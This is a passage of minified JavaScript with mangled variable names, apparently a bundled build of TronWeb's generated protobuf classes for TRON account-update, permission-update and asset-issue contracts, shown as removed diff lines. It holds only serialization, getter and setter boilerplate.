- ownerAddress: _0x1711fd.getOwnerAddress_asB64()
- };
- _0x1b1d97 && (_0x30a814.$jspbMessageInstance = _0x1711fd);
- return _0x30a814;
- });
- TronWebProto.AccountUpdateContract.deserializeBinary = function (_0x50c75d) {
- var _0x2a396b = new _0x33432c.BinaryReader(_0x50c75d);
- var _0x11623e = new TronWebProto.AccountUpdateContract();
- return TronWebProto.AccountUpdateContract.deserializeBinaryFromReader(_0x11623e, _0x2a396b);
- };
- TronWebProto.AccountUpdateContract.deserializeBinaryFromReader = function (_0x5c3ee2, _0x4d70ae) {
- for (; _0x4d70ae.nextField() && !_0x4d70ae.isEndGroup();) {
- switch (_0x4d70ae.getFieldNumber()) {
- case 1:
- var _0xe8fe32 = _0x4d70ae.readBytes();
- _0x5c3ee2.setAccountName(_0xe8fe32);
- break;
- case 2:
- _0xe8fe32 = _0x4d70ae.readBytes();
- _0x5c3ee2.setOwnerAddress(_0xe8fe32);
- break;
- default:
- _0x4d70ae.skipField();
- }
- }
- return _0x5c3ee2;
- };
- TronWebProto.AccountUpdateContract.prototype.serializeBinary = function () {
- var _0x276623 = new _0x33432c.BinaryWriter();
- TronWebProto.AccountUpdateContract.serializeBinaryToWriter(this, _0x276623);
- return _0x276623.getResultBuffer();
- };
- TronWebProto.AccountUpdateContract.serializeBinaryToWriter = function (_0x3179b4, _0x40ad6d) {
- var _0x533d36 = undefined;
- (_0x533d36 = _0x3179b4.getAccountName_asU8()).length > 0 && _0x40ad6d.writeBytes(1, _0x533d36);
- (_0x533d36 = _0x3179b4.getOwnerAddress_asU8()).length > 0 && _0x40ad6d.writeBytes(2, _0x533d36);
- };
- TronWebProto.AccountUpdateContract.prototype.getAccountName = function () {
- return _0x33432c.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.AccountUpdateContract.prototype.getAccountName_asB64 = function () {
- return _0x33432c.Message.bytesAsB64(this.getAccountName());
- };
- TronWebProto.AccountUpdateContract.prototype.getAccountName_asU8 = function () {
- return _0x33432c.Message.bytesAsU8(this.getAccountName());
- };
- TronWebProto.AccountUpdateContract.prototype.setAccountName = function (_0x585d1b) {
- return _0x33432c.Message.setProto3BytesField(this, 1, _0x585d1b);
- };
- TronWebProto.AccountUpdateContract.prototype.getOwnerAddress = function () {
- return _0x33432c.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.AccountUpdateContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x33432c.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.AccountUpdateContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x33432c.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.AccountUpdateContract.prototype.setOwnerAddress = function (_0x5df33d) {
- return _0x33432c.Message.setProto3BytesField(this, 2, _0x5df33d);
- };
- _0x33432c.Message.GENERATE_TO_OBJECT && (TronWebProto.SetAccountIdContract.prototype.toObject = function (_0x5e00d8) {
- return TronWebProto.SetAccountIdContract.toObject(_0x5e00d8, this);
- }, TronWebProto.SetAccountIdContract.toObject = function (_0x5a9e04, _0x6d554b) {
- var _0xc53a9b = {
- accountId: _0x6d554b.getAccountId_asB64(),
- ownerAddress: _0x6d554b.getOwnerAddress_asB64()
- };
- _0x5a9e04 && (_0xc53a9b.$jspbMessageInstance = _0x6d554b);
- return _0xc53a9b;
- });
- TronWebProto.SetAccountIdContract.deserializeBinary = function (_0x1fbb5d) {
- var _0x13cda4 = new _0x33432c.BinaryReader(_0x1fbb5d);
- var _0x369041 = new TronWebProto.SetAccountIdContract();
- return TronWebProto.SetAccountIdContract.deserializeBinaryFromReader(_0x369041, _0x13cda4);
- };
- TronWebProto.SetAccountIdContract.deserializeBinaryFromReader = function (_0x5e1825, _0x13e2bc) {
- for (; _0x13e2bc.nextField() && !_0x13e2bc.isEndGroup();) {
- switch (_0x13e2bc.getFieldNumber()) {
- case 1:
- var _0x41d997 = _0x13e2bc.readBytes();
- _0x5e1825.setAccountId(_0x41d997);
- break;
- case 2:
- _0x41d997 = _0x13e2bc.readBytes();
- _0x5e1825.setOwnerAddress(_0x41d997);
- break;
- default:
- _0x13e2bc.skipField();
- }
- }
- return _0x5e1825;
- };
- TronWebProto.SetAccountIdContract.prototype.serializeBinary = function () {
- var _0x1e4b87 = new _0x33432c.BinaryWriter();
- TronWebProto.SetAccountIdContract.serializeBinaryToWriter(this, _0x1e4b87);
- return _0x1e4b87.getResultBuffer();
- };
- TronWebProto.SetAccountIdContract.serializeBinaryToWriter = function (_0x38b224, _0xb2ed14) {
- var _0x5e6b90 = undefined;
- (_0x5e6b90 = _0x38b224.getAccountId_asU8()).length > 0 && _0xb2ed14.writeBytes(1, _0x5e6b90);
- (_0x5e6b90 = _0x38b224.getOwnerAddress_asU8()).length > 0 && _0xb2ed14.writeBytes(2, _0x5e6b90);
- };
- TronWebProto.SetAccountIdContract.prototype.getAccountId = function () {
- return _0x33432c.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.SetAccountIdContract.prototype.getAccountId_asB64 = function () {
- return _0x33432c.Message.bytesAsB64(this.getAccountId());
- };
- TronWebProto.SetAccountIdContract.prototype.getAccountId_asU8 = function () {
- return _0x33432c.Message.bytesAsU8(this.getAccountId());
- };
- TronWebProto.SetAccountIdContract.prototype.setAccountId = function (_0xde18ec) {
- return _0x33432c.Message.setProto3BytesField(this, 1, _0xde18ec);
- };
- TronWebProto.SetAccountIdContract.prototype.getOwnerAddress = function () {
- return _0x33432c.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.SetAccountIdContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x33432c.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.SetAccountIdContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x33432c.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.SetAccountIdContract.prototype.setOwnerAddress = function (_0x5233f3) {
- return _0x33432c.Message.setProto3BytesField(this, 2, _0x5233f3);
- };
- TronWebProto.AccountPermissionUpdateContract.repeatedFields_ = [4];
- _0x33432c.Message.GENERATE_TO_OBJECT && (TronWebProto.AccountPermissionUpdateContract.prototype.toObject = function (_0x20763f) {
- return TronWebProto.AccountPermissionUpdateContract.toObject(_0x20763f, this);
- }, TronWebProto.AccountPermissionUpdateContract.toObject = function (_0xf60e21, _0x50badb) {
- var _0x180650;
- var _0x5ecb5c = {
- ownerAddress: _0x50badb.getOwnerAddress_asB64(),
- owner: (_0x180650 = _0x50badb.getOwner()) && _0x5250b4.Permission.toObject(_0xf60e21, _0x180650),
- witness: (_0x180650 = _0x50badb.getWitness()) && _0x5250b4.Permission.toObject(_0xf60e21, _0x180650),
- activesList: _0x33432c.Message.toObjectList(_0x50badb.getActivesList(), _0x5250b4.Permission.toObject, _0xf60e21)
- };
- _0xf60e21 && (_0x5ecb5c.$jspbMessageInstance = _0x50badb);
- return _0x5ecb5c;
- });
- TronWebProto.AccountPermissionUpdateContract.deserializeBinary = function (_0x4d7cf0) {
- var _0x5f9b5e = new _0x33432c.BinaryReader(_0x4d7cf0);
- var _0x35da26 = new TronWebProto.AccountPermissionUpdateContract();
- return TronWebProto.AccountPermissionUpdateContract.deserializeBinaryFromReader(_0x35da26, _0x5f9b5e);
- };
- TronWebProto.AccountPermissionUpdateContract.deserializeBinaryFromReader = function (_0x11a557, _0x7c5bdf) {
- for (; _0x7c5bdf.nextField() && !_0x7c5bdf.isEndGroup();) {
- switch (_0x7c5bdf.getFieldNumber()) {
- case 1:
- var _0x2eace7 = _0x7c5bdf.readBytes();
- _0x11a557.setOwnerAddress(_0x2eace7);
- break;
- case 2:
- _0x2eace7 = new _0x5250b4.Permission();
- _0x7c5bdf.readMessage(_0x2eace7, _0x5250b4.Permission.deserializeBinaryFromReader);
- _0x11a557.setOwner(_0x2eace7);
- break;
- case 3:
- _0x2eace7 = new _0x5250b4.Permission();
- _0x7c5bdf.readMessage(_0x2eace7, _0x5250b4.Permission.deserializeBinaryFromReader);
- _0x11a557.setWitness(_0x2eace7);
- break;
- case 4:
- _0x2eace7 = new _0x5250b4.Permission();
- _0x7c5bdf.readMessage(_0x2eace7, _0x5250b4.Permission.deserializeBinaryFromReader);
- _0x11a557.addActives(_0x2eace7);
- break;
- default:
- _0x7c5bdf.skipField();
- }
- }
- return _0x11a557;
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.serializeBinary = function () {
- var _0x1707d6 = new _0x33432c.BinaryWriter();
- TronWebProto.AccountPermissionUpdateContract.serializeBinaryToWriter(this, _0x1707d6);
- return _0x1707d6.getResultBuffer();
- };
- TronWebProto.AccountPermissionUpdateContract.serializeBinaryToWriter = function (_0x4f6340, _0x22ca02) {
- var _0xc4a8d8 = undefined;
- (_0xc4a8d8 = _0x4f6340.getOwnerAddress_asU8()).length > 0 && _0x22ca02.writeBytes(1, _0xc4a8d8);
- null != (_0xc4a8d8 = _0x4f6340.getOwner()) && _0x22ca02.writeMessage(2, _0xc4a8d8, _0x5250b4.Permission.serializeBinaryToWriter);
- null != (_0xc4a8d8 = _0x4f6340.getWitness()) && _0x22ca02.writeMessage(3, _0xc4a8d8, _0x5250b4.Permission.serializeBinaryToWriter);
- (_0xc4a8d8 = _0x4f6340.getActivesList()).length > 0 && _0x22ca02.writeRepeatedMessage(4, _0xc4a8d8, _0x5250b4.Permission.serializeBinaryToWriter);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.getOwnerAddress = function () {
- return _0x33432c.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x33432c.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x33432c.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.setOwnerAddress = function (_0x3821eb) {
- return _0x33432c.Message.setProto3BytesField(this, 1, _0x3821eb);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.getOwner = function () {
- return _0x33432c.Message.getWrapperField(this, _0x5250b4.Permission, 2);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.setOwner = function (_0x40eb8d) {
- return _0x33432c.Message.setWrapperField(this, 2, _0x40eb8d);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.clearOwner = function () {
- return this.setOwner(undefined);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.hasOwner = function () {
- return null != _0x33432c.Message.getField(this, 2);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.getWitness = function () {
- return _0x33432c.Message.getWrapperField(this, _0x5250b4.Permission, 3);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.setWitness = function (_0x17bebd) {
- return _0x33432c.Message.setWrapperField(this, 3, _0x17bebd);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.clearWitness = function () {
- return this.setWitness(undefined);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.hasWitness = function () {
- return null != _0x33432c.Message.getField(this, 3);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.getActivesList = function () {
- return _0x33432c.Message.getRepeatedWrapperField(this, _0x5250b4.Permission, 4);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.setActivesList = function (_0x39de78) {
- return _0x33432c.Message.setRepeatedWrapperField(this, 4, _0x39de78);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.addActives = function (_0xd7a073, _0x5bf2e4) {
- return _0x33432c.Message.addToRepeatedWrapperField(this, 4, _0xd7a073, TronWebProto.Permission, _0x5bf2e4);
- };
- TronWebProto.AccountPermissionUpdateContract.prototype.clearActivesList = function () {
- return this.setActivesList([]);
- };
- _0x24f249.object.extend(_0x2156bb, TronWebProto);
- },
- 6439: (_0x293bb1, _0x18d0d3, _0x524bcd) => {
- var _0x1eceb3 = _0x524bcd(5595);
- var _0x41f10e = _0x1eceb3;
- var _0x431cd4 = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0x431cd4 && _0x431cd4 || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- _0x41f10e.exportSymbol("TronWebProto.AssetIssueContract", null, _0x431cd4);
- _0x41f10e.exportSymbol("TronWebProto.AssetIssueContract.FrozenSupply", null, _0x431cd4);
- _0x41f10e.exportSymbol("TronWebProto.ParticipateAssetIssueContract", null, _0x431cd4);
- _0x41f10e.exportSymbol("TronWebProto.TransferAssetContract", null, _0x431cd4);
- _0x41f10e.exportSymbol("TronWebProto.UnfreezeAssetContract", null, _0x431cd4);
- _0x41f10e.exportSymbol("TronWebProto.UpdateAssetContract", null, _0x431cd4);
- TronWebProto.AssetIssueContract = function (_0x2a07af) {
- _0x1eceb3.Message.initialize(this, _0x2a07af, 0, -1, TronWebProto.AssetIssueContract.repeatedFields_, null);
- };
- _0x41f10e.inherits(TronWebProto.AssetIssueContract, _0x1eceb3.Message);
- _0x41f10e.DEBUG && !COMPILED && (TronWebProto.AssetIssueContract.displayName = "TronWebProto.AssetIssueContract");
- TronWebProto.AssetIssueContract.FrozenSupply = function (_0x15a4b1) {
- _0x1eceb3.Message.initialize(this, _0x15a4b1, 0, -1, null, null);
- };
- _0x41f10e.inherits(TronWebProto.AssetIssueContract.FrozenSupply, _0x1eceb3.Message);
- _0x41f10e.DEBUG && !COMPILED && (TronWebProto.AssetIssueContract.FrozenSupply.displayName = "TronWebProto.AssetIssueContract.FrozenSupply");
- TronWebProto.TransferAssetContract = function (_0x1b702b) {
- _0x1eceb3.Message.initialize(this, _0x1b702b, 0, -1, null, null);
- };
- _0x41f10e.inherits(TronWebProto.TransferAssetContract, _0x1eceb3.Message);
- _0x41f10e.DEBUG && !COMPILED && (TronWebProto.TransferAssetContract.displayName = "TronWebProto.TransferAssetContract");
- TronWebProto.UnfreezeAssetContract = function (_0x18a0bd) {
- _0x1eceb3.Message.initialize(this, _0x18a0bd, 0, -1, null, null);
- };
- _0x41f10e.inherits(TronWebProto.UnfreezeAssetContract, _0x1eceb3.Message);
- _0x41f10e.DEBUG && !COMPILED && (TronWebProto.UnfreezeAssetContract.displayName = "TronWebProto.UnfreezeAssetContract");
- TronWebProto.UpdateAssetContract = function (_0x120acf) {
- _0x1eceb3.Message.initialize(this, _0x120acf, 0, -1, null, null);
- };
- _0x41f10e.inherits(TronWebProto.UpdateAssetContract, _0x1eceb3.Message);
- _0x41f10e.DEBUG && !COMPILED && (TronWebProto.UpdateAssetContract.displayName = "TronWebProto.UpdateAssetContract");
- TronWebProto.ParticipateAssetIssueContract = function (_0x21d85d) {
- _0x1eceb3.Message.initialize(this, _0x21d85d, 0, -1, null, null);
- };
- _0x41f10e.inherits(TronWebProto.ParticipateAssetIssueContract, _0x1eceb3.Message);
- _0x41f10e.DEBUG && !COMPILED && (TronWebProto.ParticipateAssetIssueContract.displayName = "TronWebProto.ParticipateAssetIssueContract");
- TronWebProto.AssetIssueContract.repeatedFields_ = [5];
- _0x1eceb3.Message.GENERATE_TO_OBJECT && (TronWebProto.AssetIssueContract.prototype.toObject = function (_0x3f6092) {
- return TronWebProto.AssetIssueContract.toObject(_0x3f6092, this);
- }, TronWebProto.AssetIssueContract.toObject = function (_0x487a38, _0x42380e) {
- var _0x290601 = {
- id: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 41, ""),
- ownerAddress: _0x42380e.getOwnerAddress_asB64(),
- name: _0x42380e.getName_asB64(),
- abbr: _0x42380e.getAbbr_asB64(),
- totalSupply: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 4, 0),
- frozenSupplyList: _0x1eceb3.Message.toObjectList(_0x42380e.getFrozenSupplyList(), TronWebProto.AssetIssueContract.FrozenSupply.toObject, _0x487a38),
- trxNum: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 6, 0),
- precision: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 7, 0),
- num: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 8, 0),
- startTime: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 9, 0),
- endTime: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 10, 0),
- order: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 11, 0),
- voteScore: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 16, 0),
- description: _0x42380e.getDescription_asB64(),
- url: _0x42380e.getUrl_asB64(),
- freeAssetNetLimit: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 22, 0),
- publicFreeAssetNetLimit: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 23, 0),
- publicFreeAssetNetUsage: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 24, 0),
- publicLatestFreeNetTime: _0x1eceb3.Message.getFieldWithDefault(_0x42380e, 25, 0)
- };
- _0x487a38 && (_0x290601.$jspbMessageInstance = _0x42380e);
- return _0x290601;
- });
- TronWebProto.AssetIssueContract.deserializeBinary = function (_0x44f2f7) {
- var _0x3add02 = new _0x1eceb3.BinaryReader(_0x44f2f7);
- var _0x41a014 = new TronWebProto.AssetIssueContract();
- return TronWebProto.AssetIssueContract.deserializeBinaryFromReader(_0x41a014, _0x3add02);
- };
- TronWebProto.AssetIssueContract.deserializeBinaryFromReader = function (_0x1ffd56, _0x429a1d) {
- for (; _0x429a1d.nextField() && !_0x429a1d.isEndGroup();) {
- switch (_0x429a1d.getFieldNumber()) {
- case 41:
- var _0x37b353 = _0x429a1d.readString();
- _0x1ffd56.setId(_0x37b353);
- break;
- case 1:
- _0x37b353 = _0x429a1d.readBytes();
- _0x1ffd56.setOwnerAddress(_0x37b353);
- break;
- case 2:
- _0x37b353 = _0x429a1d.readBytes();
- _0x1ffd56.setName(_0x37b353);
- break;
- case 3:
- _0x37b353 = _0x429a1d.readBytes();
- _0x1ffd56.setAbbr(_0x37b353);
- break;
- case 4:
- _0x37b353 = _0x429a1d.readInt64();
- _0x1ffd56.setTotalSupply(_0x37b353);
- break;
- case 5:
- _0x37b353 = new TronWebProto.AssetIssueContract.FrozenSupply();
- _0x429a1d.readMessage(_0x37b353, TronWebProto.AssetIssueContract.FrozenSupply.deserializeBinaryFromReader);
- _0x1ffd56.addFrozenSupply(_0x37b353);
- break;
- case 6:
- _0x37b353 = _0x429a1d.readInt32();
- _0x1ffd56.setTrxNum(_0x37b353);
- break;
- case 7:
- _0x37b353 = _0x429a1d.readInt32();
- _0x1ffd56.setPrecision(_0x37b353);
- break;
- case 8:
- _0x37b353 = _0x429a1d.readInt32();
- _0x1ffd56.setNum(_0x37b353);
- break;
- case 9:
- _0x37b353 = _0x429a1d.readInt64();
- _0x1ffd56.setStartTime(_0x37b353);
- break;
- case 10:
- _0x37b353 = _0x429a1d.readInt64();
- _0x1ffd56.setEndTime(_0x37b353);
- break;
- case 11:
- _0x37b353 = _0x429a1d.readInt64();
- _0x1ffd56.setOrder(_0x37b353);
- break;
- case 16:
- _0x37b353 = _0x429a1d.readInt32();
- _0x1ffd56.setVoteScore(_0x37b353);
- break;
- case 20:
- _0x37b353 = _0x429a1d.readBytes();
- _0x1ffd56.setDescription(_0x37b353);
- break;
- case 21:
- _0x37b353 = _0x429a1d.readBytes();
- _0x1ffd56.setUrl(_0x37b353);
- break;
- case 22:
- _0x37b353 = _0x429a1d.readInt64();
- _0x1ffd56.setFreeAssetNetLimit(_0x37b353);
- break;
- case 23:
- _0x37b353 = _0x429a1d.readInt64();
- _0x1ffd56.setPublicFreeAssetNetLimit(_0x37b353);
- break;
- case 24:
- _0x37b353 = _0x429a1d.readInt64();
- _0x1ffd56.setPublicFreeAssetNetUsage(_0x37b353);
- break;
- case 25:
- _0x37b353 = _0x429a1d.readInt64();
- _0x1ffd56.setPublicLatestFreeNetTime(_0x37b353);
- break;
- default:
- _0x429a1d.skipField();
- }
- }
- return _0x1ffd56;
- };
- TronWebProto.AssetIssueContract.prototype.serializeBinary = function () {
- var _0x6a6351 = new _0x1eceb3.BinaryWriter();
- TronWebProto.AssetIssueContract.serializeBinaryToWriter(this, _0x6a6351);
- return _0x6a6351.getResultBuffer();
- };
- TronWebProto.AssetIssueContract.serializeBinaryToWriter = function (_0x10de90, _0x4455b7) {
- var _0x829bad = undefined;
- (_0x829bad = _0x10de90.getId()).length > 0 && _0x4455b7.writeString(41, _0x829bad);
- (_0x829bad = _0x10de90.getOwnerAddress_asU8()).length > 0 && _0x4455b7.writeBytes(1, _0x829bad);
- (_0x829bad = _0x10de90.getName_asU8()).length > 0 && _0x4455b7.writeBytes(2, _0x829bad);
- (_0x829bad = _0x10de90.getAbbr_asU8()).length > 0 && _0x4455b7.writeBytes(3, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getTotalSupply()) && _0x4455b7.writeInt64(4, _0x829bad);
- (_0x829bad = _0x10de90.getFrozenSupplyList()).length > 0 && _0x4455b7.writeRepeatedMessage(5, _0x829bad, TronWebProto.AssetIssueContract.FrozenSupply.serializeBinaryToWriter);
- 0 !== (_0x829bad = _0x10de90.getTrxNum()) && _0x4455b7.writeInt32(6, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getPrecision()) && _0x4455b7.writeInt32(7, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getNum()) && _0x4455b7.writeInt32(8, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getStartTime()) && _0x4455b7.writeInt64(9, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getEndTime()) && _0x4455b7.writeInt64(10, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getOrder()) && _0x4455b7.writeInt64(11, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getVoteScore()) && _0x4455b7.writeInt32(16, _0x829bad);
- (_0x829bad = _0x10de90.getDescription_asU8()).length > 0 && _0x4455b7.writeBytes(20, _0x829bad);
- (_0x829bad = _0x10de90.getUrl_asU8()).length > 0 && _0x4455b7.writeBytes(21, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getFreeAssetNetLimit()) && _0x4455b7.writeInt64(22, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getPublicFreeAssetNetLimit()) && _0x4455b7.writeInt64(23, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getPublicFreeAssetNetUsage()) && _0x4455b7.writeInt64(24, _0x829bad);
- 0 !== (_0x829bad = _0x10de90.getPublicLatestFreeNetTime()) && _0x4455b7.writeInt64(25, _0x829bad);
- };
- _0x1eceb3.Message.GENERATE_TO_OBJECT && (TronWebProto.AssetIssueContract.FrozenSupply.prototype.toObject = function (_0x56f7f3) {
- return TronWebProto.AssetIssueContract.FrozenSupply.toObject(_0x56f7f3, this);
- }, TronWebProto.AssetIssueContract.FrozenSupply.toObject = function (_0x16d840, _0x3844ac) {
- var _0x217071 = {
- frozenAmount: _0x1eceb3.Message.getFieldWithDefault(_0x3844ac, 1, 0),
- frozenDays: _0x1eceb3.Message.getFieldWithDefault(_0x3844ac, 2, 0)
- };
- _0x16d840 && (_0x217071.$jspbMessageInstance = _0x3844ac);
- return _0x217071;
- });
- TronWebProto.AssetIssueContract.FrozenSupply.deserializeBinary = function (_0x196498) {
- var _0x4aa6bf = new _0x1eceb3.BinaryReader(_0x196498);
- var _0x243672 = new TronWebProto.AssetIssueContract.FrozenSupply();
- return TronWebProto.AssetIssueContract.FrozenSupply.deserializeBinaryFromReader(_0x243672, _0x4aa6bf);
- };
- TronWebProto.AssetIssueContract.FrozenSupply.deserializeBinaryFromReader = function (_0x370178, _0x46e5cb) {
- for (; _0x46e5cb.nextField() && !_0x46e5cb.isEndGroup();) {
- switch (_0x46e5cb.getFieldNumber()) {
- case 1:
- var _0x4c170b = _0x46e5cb.readInt64();
- _0x370178.setFrozenAmount(_0x4c170b);
- break;
- case 2:
- _0x4c170b = _0x46e5cb.readInt64();
- _0x370178.setFrozenDays(_0x4c170b);
- break;
- default:
- _0x46e5cb.skipField();
- }
- }
- return _0x370178;
- };
- TronWebProto.AssetIssueContract.FrozenSupply.prototype.serializeBinary = function () {
- var _0x1e30d1 = new _0x1eceb3.BinaryWriter();
- TronWebProto.AssetIssueContract.FrozenSupply.serializeBinaryToWriter(this, _0x1e30d1);
- return _0x1e30d1.getResultBuffer();
- };
- TronWebProto.AssetIssueContract.FrozenSupply.serializeBinaryToWriter = function (_0x5a020b, _0x4fc922) {
- var _0x55431d = undefined;
- 0 !== (_0x55431d = _0x5a020b.getFrozenAmount()) && _0x4fc922.writeInt64(1, _0x55431d);
- 0 !== (_0x55431d = _0x5a020b.getFrozenDays()) && _0x4fc922.writeInt64(2, _0x55431d);
- };
- TronWebProto.AssetIssueContract.FrozenSupply.prototype.getFrozenAmount = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.AssetIssueContract.FrozenSupply.prototype.setFrozenAmount = function (_0x21e3ca) {
- return _0x1eceb3.Message.setProto3IntField(this, 1, _0x21e3ca);
- };
- TronWebProto.AssetIssueContract.FrozenSupply.prototype.getFrozenDays = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.AssetIssueContract.FrozenSupply.prototype.setFrozenDays = function (_0xc20c47) {
- return _0x1eceb3.Message.setProto3IntField(this, 2, _0xc20c47);
- };
- TronWebProto.AssetIssueContract.prototype.getId = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 41, "");
- };
- TronWebProto.AssetIssueContract.prototype.setId = function (_0x4a50bd) {
- return _0x1eceb3.Message.setProto3StringField(this, 41, _0x4a50bd);
- };
- TronWebProto.AssetIssueContract.prototype.getOwnerAddress = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.AssetIssueContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.AssetIssueContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.AssetIssueContract.prototype.setOwnerAddress = function (_0x8b0787) {
- return _0x1eceb3.Message.setProto3BytesField(this, 1, _0x8b0787);
- };
- TronWebProto.AssetIssueContract.prototype.getName = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.AssetIssueContract.prototype.getName_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getName());
- };
- TronWebProto.AssetIssueContract.prototype.getName_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getName());
- };
- TronWebProto.AssetIssueContract.prototype.setName = function (_0x57b76f) {
- return _0x1eceb3.Message.setProto3BytesField(this, 2, _0x57b76f);
- };
- TronWebProto.AssetIssueContract.prototype.getAbbr = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.AssetIssueContract.prototype.getAbbr_asB64 = function () {
- return _0x1eceb3.Message.bytesAsB64(this.getAbbr());
- };
- TronWebProto.AssetIssueContract.prototype.getAbbr_asU8 = function () {
- return _0x1eceb3.Message.bytesAsU8(this.getAbbr());
- };
- TronWebProto.AssetIssueContract.prototype.setAbbr = function (_0xe3f60c) {
- return _0x1eceb3.Message.setProto3BytesField(this, 3, _0xe3f60c);
- };
- TronWebProto.AssetIssueContract.prototype.getTotalSupply = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setTotalSupply = function (_0x539d0f) {
- return _0x1eceb3.Message.setProto3IntField(this, 4, _0x539d0f);
- };
- TronWebProto.AssetIssueContract.prototype.getFrozenSupplyList = function () {
- return _0x1eceb3.Message.getRepeatedWrapperField(this, TronWebProto.AssetIssueContract.FrozenSupply, 5);
- };
- TronWebProto.AssetIssueContract.prototype.setFrozenSupplyList = function (_0x3a709d) {
- return _0x1eceb3.Message.setRepeatedWrapperField(this, 5, _0x3a709d);
- };
- TronWebProto.AssetIssueContract.prototype.addFrozenSupply = function (_0x38d2be, _0x4ae405) {
- return _0x1eceb3.Message.addToRepeatedWrapperField(this, 5, _0x38d2be, TronWebProto.AssetIssueContract.FrozenSupply, _0x4ae405);
- };
- TronWebProto.AssetIssueContract.prototype.clearFrozenSupplyList = function () {
- return this.setFrozenSupplyList([]);
- };
- TronWebProto.AssetIssueContract.prototype.getTrxNum = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 6, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setTrxNum = function (_0x54a2ec) {
- return _0x1eceb3.Message.setProto3IntField(this, 6, _0x54a2ec);
- };
- TronWebProto.AssetIssueContract.prototype.getPrecision = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 7, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setPrecision = function (_0x1b30d1) {
- return _0x1eceb3.Message.setProto3IntField(this, 7, _0x1b30d1);
- };
- TronWebProto.AssetIssueContract.prototype.getNum = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 8, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setNum = function (_0x423753) {
- return _0x1eceb3.Message.setProto3IntField(this, 8, _0x423753);
- };
- TronWebProto.AssetIssueContract.prototype.getStartTime = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 9, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setStartTime = function (_0x11b89d) {
- return _0x1eceb3.Message.setProto3IntField(this, 9, _0x11b89d);
- };
- TronWebProto.AssetIssueContract.prototype.getEndTime = function () {
- return _0x1eceb3.Message.getFieldWithDefault(this, 10, 0);
- };
- TronWebProto.AssetIssueContract.prototype.setEndTime = function (_0x4d76c8) {
- return _0x1eceb3.Message.setProto3IntField(this, 10, _0x4d76c8);
- };
